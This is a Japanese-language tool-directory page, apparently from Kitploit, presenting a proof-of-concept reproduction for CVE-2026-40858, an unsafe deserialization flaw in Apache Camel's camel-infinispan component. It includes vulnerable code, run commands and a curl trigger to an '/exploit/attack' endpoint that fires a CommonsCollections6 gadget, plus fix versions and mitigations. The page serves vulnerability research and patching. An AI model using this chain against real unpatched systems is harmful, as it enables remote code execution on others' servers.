Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40858 — CVE-2026-40858 の再現コード — Apache Camel camel-infinispan のリモート集約リポジトリにおける安全でないデシリアライゼーション (RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40858
脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHuboscerd/cve-2026-40858

CVE-2026-40858

CVE-2026-40858 の再現コード — Apache Camel camel-infinispan のリモート集約リポジトリにおける安全でないデシリアライゼーション (RCE)

リポジトリを見る
122ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-infinispan リモート集約リポジトリの安全でないデシリアライゼーション再現コード (CVE-2026-40858)

このプロジェクトは、Apache Camel の camel-infinispan コンポーネントにおける Java デシリアライゼーションの脆弱性 ( CVE-2026-40858 として追跡) を示しています。ProtoStream ベースの リモート集約リポジトリ は、集約された各 Exchange をリモートの Infinispan キャッシュにシリアライズし、エントリを読み戻すとき (get() / recover()) に java.io.ObjectInputStream でデシリアライズしますが、ObjectInputFilter はありません。バッキングキャッシュに書き込める攻撃者は、細工したシリアライズオブジェクトを仕掛け、リポジトリがそのキーを次に読み取ったときに リモートコード実行 を得られます。

セキュリティ勧告: https://camel.apache.org/security/CVE-2026-40858.html

脆弱性の概要

プロパティ値
コンポーネントcamel-infinispan (リモート / HotRod 集約リポジトリ)
影響を受けるクラスorg.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[])
CWECWE-502: 信頼できないデータのデシリアライゼーション
影響リモートコード実行 (RCE)
影響を受けるバージョン4.0.0 から 4.14.7 未満、4.15.0 から 4.18.2 未満、4.19.0 から 4.20.0 未満
修正バージョン4.14.7, 4.18.2, 4.20.0
JIRACAMEL-23322
報告者Feng Ning (Innora Pte. Ltd.)

技術詳細

InfinispanRemoteAggregationRepository は、各 Exchange を DefaultExchangeHolder として保存します。ProtoStream マーシャラーを使用すると、そのホルダーは DefaultExchangeHolderProtoAdapter によって適応され、その ProtoStream フィールド #1 は、プレーンな ObjectOutputStream でシリアライズされたホルダーです。読み戻すとき、アダプターはそれらのバイトを DefaultExchangeHolderUtils.deserialize に渡してホルダーを再構築します。

root@kitploit:~
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}

ClassLoadingAwareObjectInputStream は、解決可能なクラスのセットを制限するのではなく広げるため、readObject() はクラスパス上にある任意のガジェットチェーンをインスタンス化します。バイトはリモートキャッシュから直接取得されるため、そのキャッシュキーに書き込める人は誰でもデシリアライゼーションストリームを制御できます — そしてガジェットは、値が DefaultExchangeHolder にキャストされる前に、readObject() の間に発火します。

被害側の設定

ルート (または、ここでのようにアプリケーションコード) は、Infinispan サーバーをバックエンドとするリモート集約リポジトリを使用します。

root@kitploit:~
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)

保存された値が改ざんされたキーに対する get() / recover() は、シンクをトリガーします。

リポジトリ構成 — 脆弱なコードが実行される場所

脆弱な Camel コードはアプリケーション (ホスト上) で実行されます。Infinispan サーバーは Docker 内で実行され、リポジトリが通信するバッキングストアとして機能します。これは、実際のデプロイメントでリポジトリがどのように配置されるかを反映しています。すなわち、信頼できないデータは共有キャッシュ内に存在します。

root@kitploit:~
CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    │   ├── Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    │   └── ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    └── resources/
        └── application.properties

PoC のショートカットに関する注意。 実際の攻撃者は、悪意のあるバイトを共有 Infinispan キャッシュに直接書き込みます。再現コードを自己完結型に保つため、/exploit/attack は同じリポジトリ (Exchange ボディとしてガジェットを指定した repo.add(...)) を介して値を仕掛け、次に repo.get(...) を呼び出して読み取りをトリガーします。ガジェットを実行するシンクは Camel 自身の readObject() であり、攻撃者によって改ざんされたキャッシュエントリで発火するのとまったく同じです。

前提条件

  • Java 17+ と Maven 3.8+
  • Docker (Infinispan サーバーを実行)

再現手順

ステップ 1: Infinispan サーバーを起動

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

ステップ 2: 脆弱なアプリケーションをビルドして実行

CommonsCollections6 ガジェットはリフレクションを介して java.util 内に動的に組み立てられるため、JVM は --add-opens java.base/java.util=ALL-UNNAMED 付きで起動する必要があります。

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

ステップ 3: デシリアライゼーション (RCE) をトリガー

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof — /tmp/pwned exists: true

/tmp/pwned は、リポジトリが仕掛けられたキャッシュ値をデシリアライズしている間に、ガジェット (touch /tmp/pwned) によって作成されます。

クリーンアップ

root@kitploit:~
docker compose down
rm -f /tmp/pwned

攻撃ベクトル

攻撃者が書き込み可能なキャッシュに対して InfinispanRemoteAggregationRepository (ProtoStream マーシャリング) を使用するあらゆるデプロイメント。キャッシュへの書き込みアクセスは、共有/マルチテナントの Infinispan クラスター、ネットワーク到達可能な HotRod エンドポイント、または同じキャッシュにデータを配置するその他のプロデューサーから得られます。

悪用条件

  1. 攻撃者が書き込めるキャッシュから読み取る、camel-infinispan リモート集約リポジトリ。
  2. クラスパス上にあるガジェットライブラリ (ここでは commons-collections:3.2.1)。

推奨される修正

4.14.7 / 4.18.2 / 4.20.0 にアップグレードします。この修正により、ホルダーのデシリアライゼーションに ObjectInputFilter / クラス許可リストが適用され、他の Camel 集約リポジトリ (camel-leveldb、camel-cassandraql、camel-jms) や camel-mina / camel-netty に適用された堅牢化と一致します。

緩和策

アップグレードするまでの間:

  1. Infinispan キャッシュを信頼境界として扱う — 集約キャッシュに書き込めるユーザーを制限します。
  2. ガジェットライブラリをクラスパスから削除する (commons-collections 3.x および類似のものをアップグレード/削除)。
  3. Infinispan HotRod エンドポイントを、認証が有効な信頼できるネットワーク上に維持します。

免責事項

この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されます。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード